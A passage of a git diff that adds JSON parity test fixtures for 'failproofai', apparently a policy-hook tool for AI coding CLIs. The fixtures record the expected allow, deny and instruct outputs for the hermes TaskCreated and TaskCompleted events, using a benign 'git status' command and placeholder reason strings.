"deny__tool-present__one-policy", + "cli": "hermes", + "decision_kind": "deny", + "event": "TaskCompleted", + "input": { + "event_type": "TaskCompleted", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TaskCompleted", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "hermes", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TaskCompleted", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"decision\":\"block\",\"reason\":\"Blocked Bash by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/hermes/TaskCompleted/deny__tool-present__two-policies.json b/__tests__/parity/fixtures/hermes/TaskCompleted/deny__tool-present__two-policies.json new file mode 100644 index 00000000..9ad36680 --- /dev/null +++ b/__tests__/parity/fixtures/hermes/TaskCompleted/deny__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "deny__tool-present__two-policies", + "cli": "hermes", + "decision_kind": "deny", + "event": "TaskCompleted", + "input": { + "event_type": "TaskCompleted", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TaskCompleted", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "hermes", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TaskCompleted", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"decision\":\"block\",\"reason\":\"Blocked Bash by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/hermes/TaskCompleted/instruct__tool-absent__one-policy.json b/__tests__/parity/fixtures/hermes/TaskCompleted/instruct__tool-absent__one-policy.json new file mode 100644 index 00000000..371b5dfa --- /dev/null +++ b/__tests__/parity/fixtures/hermes/TaskCompleted/instruct__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "instruct__tool-absent__one-policy", + "cli": "hermes", + "decision_kind": "instruct", + "event": "TaskCompleted", + "input": { + "event_type": "TaskCompleted", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TaskCompleted", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "hermes", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TaskCompleted", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"decision\":\"allow\",\"reason\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/hermes/TaskCompleted/instruct__tool-absent__two-policies.json b/__tests__/parity/fixtures/hermes/TaskCompleted/instruct__tool-absent__two-policies.json new file mode 100644 index 00000000..4b382dad --- /dev/null +++ b/__tests__/parity/fixtures/hermes/TaskCompleted/instruct__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "instruct__tool-absent__two-policies", + "cli": "hermes", + "decision_kind": "instruct", + "event": "TaskCompleted", + "input": { + "event_type": "TaskCompleted", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TaskCompleted", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "hermes", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TaskCompleted", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"decision\":\"allow\",\"reason\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/hermes/TaskCompleted/instruct__tool-present__one-policy.json b/__tests__/parity/fixtures/hermes/TaskCompleted/instruct__tool-present__one-policy.json new file mode 100644 index 00000000..c1289828 --- /dev/null +++ b/__tests__/parity/fixtures/hermes/TaskCompleted/instruct__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "instruct__tool-present__one-policy", + "cli": "hermes", + "decision_kind": "instruct", + "event": "TaskCompleted", + "input": { + "event_type": "TaskCompleted", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TaskCompleted", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "hermes", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TaskCompleted", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"decision\":\"allow\",\"reason\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/hermes/TaskCompleted/instruct__tool-present__two-policies.json b/__tests__/parity/fixtures/hermes/TaskCompleted/instruct__tool-present__two-policies.json new file mode 100644 index 00000000..c13eafa8 --- /dev/null +++ b/__tests__/parity/fixtures/hermes/TaskCompleted/instruct__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "instruct__tool-present__two-policies", + "cli": "hermes", + "decision_kind": "instruct", + "event": "TaskCompleted", + "input": { + "event_type": "TaskCompleted", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TaskCompleted", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "hermes", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TaskCompleted", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"decision\":\"allow\",\"reason\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/hermes/TaskCreated/allow-silent__tool-absent__one-policy.json b/__tests__/parity/fixtures/hermes/TaskCreated/allow-silent__tool-absent__one-policy.json new file mode 100644 index 00000000..4b5afd22 --- /dev/null +++ b/__tests__/parity/fixtures/hermes/TaskCreated/allow-silent__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "allow-silent__tool-absent__one-policy", + "cli": "hermes", + "decision_kind": "allow-silent", + "event": "TaskCreated", + "input": { + "event_type": "TaskCreated", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TaskCreated", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "hermes", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TaskCreated", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/hermes/TaskCreated/allow-silent__tool-absent__two-policies.json b/__tests__/parity/fixtures/hermes/TaskCreated/allow-silent__tool-absent__two-policies.json new file mode 100644 index 00000000..c780b9c1 --- /dev/null +++ b/__tests__/parity/fixtures/hermes/TaskCreated/allow-silent__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "allow-silent__tool-absent__two-policies", + "cli": "hermes", + "decision_kind": "allow-silent", + "event": "TaskCreated", + "input": { + "event_type": "TaskCreated", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TaskCreated", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "hermes", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TaskCreated", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/hermes/TaskCreated/allow-silent__tool-present__one-policy.json b/__tests__/parity/fixtures/hermes/TaskCreated/allow-silent__tool-present__one-policy.json new file mode 100644 index 00000000..ff8e250a --- /dev/null +++ b/__tests__/parity/fixtures/hermes/TaskCreated/allow-silent__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "allow-silent__tool-present__one-policy", + "cli": "hermes", + "decision_kind": "allow-silent", + "event": "TaskCreated", + "input": { + "event_type": "TaskCreated", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TaskCreated", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "hermes", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TaskCreated", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/hermes/TaskCreated/allow-silent__tool-present__two-policies.json b/__tests__/parity/fixtures/hermes/TaskCreated/allow-silent__tool-present__two-policies.json new file mode 100644 index 00000000..82126605 --- /dev/null +++ b/__tests__/parity/fixtures/hermes/TaskCreated/allow-silent__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "allow-silent__tool-present__two-policies", + "cli": "hermes", + "decision_kind": "allow-silent", + "event": "TaskCreated", + "input": { + "event_type": "TaskCreated", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TaskCreated", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "hermes", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TaskCreated", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/hermes/TaskCreated/allow-with-reason__tool-absent__one-policy.json b/__tests__/parity/fixtures/hermes/TaskCreated/allow-with-reason__tool-absent__one-policy.json new file mode 100644 index 00000000..bb6bbc08 --- /dev/null +++ b/__tests__/parity/fixtures/hermes/TaskCreated/allow-with-reason__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "allow-with-reason__tool-absent__one-policy", + "cli": "hermes", + "decision_kind": "allow-with-reason", + "event": "TaskCreated", + "input": { + "event_type": "TaskCreated", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TaskCreated", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "hermes", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TaskCreated", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/hermes/TaskCreated/allow-with-reason__tool-absent__two-policies.json b/__tests__/parity/fixtures/hermes/TaskCreated/allow-with-reason__tool-absent__two-policies.json new file mode 100644 index 00000000..1a4ae2e0 --- /dev/null +++ b/__tests__/parity/fixtures/hermes/TaskCreated/allow-with-reason__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "allow-with-reason__tool-absent__two-policies", + "cli": "hermes", + "decision_kind": "allow-with-reason", + "event": "TaskCreated", + "input": { + "event_type": "TaskCreated", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TaskCreated", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "hermes", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TaskCreated", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/hermes/TaskCreated/allow-with-reason__tool-present__one-policy.json b/__tests__/parity/fixtures/hermes/TaskCreated/allow-with-reason__tool-present__one-policy.json new file mode 100644 index 00000000..c62cb4e4 --- /dev/null +++ b/__tests__/parity/fixtures/hermes/TaskCreated/allow-with-reason__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "allow-with-reason__tool-present__one-policy", + "cli": "hermes", + "decision_kind": "allow-with-reason", + "event": "TaskCreated", + "input": { + "event_type": "TaskCreated", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TaskCreated", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "hermes", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TaskCreated", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/hermes/TaskCreated/allow-with-reason__tool-present__two-policies.json b/__tests__/parity/fixtures/hermes/TaskCreated/allow-with-reason__tool-present__two-policies.json new file mode 100644 index 00000000..1cfd0d4c --- /dev/null +++ b/__tests__/parity/fixtures/hermes/TaskCreated/allow-with-reason__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "allow-with-reason__tool-present__two-policies", + "cli": "hermes", + "decision_kind": "allow-with-reason", + "event": "TaskCreated", + "input": { + "event_type": "TaskCreated", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TaskCreated", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "hermes", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TaskCreated", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/hermes/TaskCreated/deny__tool-absent__one-policy.json b/__tests__/parity/fixtures/hermes/TaskCreated/deny__tool-absent__one-policy.json new file mode 100644 index 00000000..ce746c54 --- /dev/null +++ b/__tests__/parity/fixtures/hermes/TaskCreated/deny__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "deny__tool-absent__one-policy", + "cli": "hermes", + "decision_kind": "deny", + "event": "TaskCreated", + "input": { + "event_type": "TaskCreated", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TaskCreated", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "hermes", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TaskCreated", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"decision\":\"block\",\"reason\":\"Blocked operation by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/hermes/TaskCreated/deny__tool-absent__two-policies.json b/__tests__/parity/fixtures/hermes/TaskCreated/deny__tool-absent__two-policies.json new file mode 100644 index 00000000..a490b51d --- /dev/null +++ b/__tests__/parity/fixtures/hermes/TaskCreated/deny__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "deny__tool-absent__two-policies", + "cli": "hermes", + "decision_kind": "deny", + "event": "TaskCreated", + "input": { + "event_type": "TaskCreated", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TaskCreated", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "hermes", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TaskCreated", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"decision\":\"block\",\"reason\":\"Blocked operation by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/hermes/TaskCreated/deny__tool-present__one-policy.json b/__tests__/parity/fixtures/hermes/TaskCreated/deny__tool-present__one-policy.json new file mode 100644 index 00000000..367f73c0 --- /dev/null +++ b/__tests__/parity/fixtures/hermes/TaskCreated/deny__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "deny__tool-present__one-policy", + "cli": "hermes", + "decision_kind": "deny", + "event": "TaskCreated", + "input": { + "event_type": "TaskCreated", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TaskCreated", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "hermes", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TaskCreated", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"decision\":\"block\",\"reason\":\"Blocked Bash by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/hermes/TaskCreated/deny__tool-present__two-policies.json b/__tests__/parity/fixtures/hermes/TaskCreated/deny__tool-present__two-policies.json new file mode 100644 index 00000000..22deb268 --- /dev/null +++ b/__tests__/parity/fixtures/hermes/TaskCreated/deny__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "deny__tool-present__two-policies", + "cli": "hermes", + "decision_kind": "deny", + "event": "TaskCreated", + "input": { + "event_type": "TaskCreated", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TaskCreated", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "hermes", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TaskCreated", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"decision\":\"block\",\"reason\":\"Blocked Bash by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/hermes/TaskCreated/instruct__tool-absent__one-policy.json b/__tests__/parity/fixtures/hermes/TaskCreated/instruct__tool-absent__one-policy.json new file mode 100644 index 00000000..eb609692 --- /dev/null +++ b/__tests__/parity/fixtures/hermes/TaskCreated/instruct__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "instruct__tool-absent__one-policy", + "cli": "hermes", + "decision_kind": "instruct", + "event": "TaskCreated", + "input": { + "event_type": "TaskCreated", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TaskCreated", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "hermes", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TaskCreated", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity 